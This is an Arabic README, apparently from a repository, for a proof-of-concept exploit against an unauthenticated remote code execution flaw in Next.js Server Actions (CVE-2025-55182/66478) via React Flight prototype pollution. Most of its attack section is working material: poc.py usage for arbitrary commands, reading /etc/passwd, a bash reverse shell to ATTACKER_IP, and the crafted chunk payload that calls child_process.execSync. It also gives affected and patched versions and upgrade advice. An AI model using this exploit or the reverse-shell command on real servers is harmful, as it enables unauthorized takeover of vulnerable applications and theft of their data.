
استغلال إثبات المفهوم لثغرة تنفيذ تعليمات برمجية عن بعد غير مصادقة حرجة في Next.js Server Actions عبر إلغاء تسلسل بروتوكول React Flight، مما يتيح تنفيذ أوامر عشوائية على الخوادم الضعيفة.
ثغرة حرجة في إجراءات الخادم (Server Actions) لـ Next.js تتيح تنفيذ أوامر عن بُعد غير مصادق عليه عبر إلغاء تسلسل بروتوكول طيران React (React Flight Protocol)
يحتوي هذا المستودع على إثبات اختراق (PoC) للثغرة الحرجة لتنفيذ الأوامر عن بُعد (RCE) التي تؤثر على تطبيقات Next.js التي تستخدم إجراءات الخادم (وظائف خادم React).
| التفاصيل | المعلومات |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| الخطورة | حرجة (CVSS 10.0) |
| React المتأثر | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js المتأثر | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| غير متأثر | Next.js 14.x المستقر, 13.x, Pages Router, Edge Runtime |
| الإصدار المُصلَّح في Next.js | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| الإصدار المُصلَّح في React | 19.0.1, 19.1.2, 19.2.1 |
| النوع | تنفيذ أوامر عن بُعد (RCE) |
| المصادقة مطلوبة | لا |
توجد الثغرة في كيفية إلغاء تسلسل الأجزاء (chunks) عبر بروتوكول طيران React أثناء معالجة إجراءات الخادم. يمكن للمهاجم استغلال تلويث النموذج الأولي (prototype pollution) عبر بيانات نموذجية مُعَدَّلة لـ:
Function عبر اجتياز سلسلة النموذج الأولي (__proto__)يحدث هذا قبل أي تحقق من إجراء الخادم، مما يجعله قابلاً للاستغلال على أي تطبيق Next.js مع تفعيل إجراءات الخادم.
أي تطبيق Next.js يكون عرضة للخطر إذا:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# اختبار تنفيذ الأمر
python3 poc.py http://localhost:3000 "id"
# قراءة ملفات حساسة
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# شل عكسي (للاستخدام المصرح به فقط)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
يظهر ناتج الأمر في حقل digest.
يستغل الإثبات آلية حل الأجزاء الخاصة ببروتوكول طيران React:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
سلسلة الهجوم:
$1:__proto__:thenFunction عبر $1:constructor:constructor_prefixقم بالترقية فوراً:
npm install next@latest
# أو
pnpm update next
الإصدارات المُصلَّحة: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
ملاحظة: الإصدارات المستقرة Next.js 14.x و 13.x ليست عرضة للخطر.
⚠️ إثبات الاختراق هذا مخصص للأغراض التعليمية واختبار الأمان المصرح به فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي استخدام خاطئ.
بناءً على البحث الأصلي لـ @msanft. تعود كامل الفضل في اكتشاف الثغرة وإثبات الاختراق الأولي إليهم.
Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE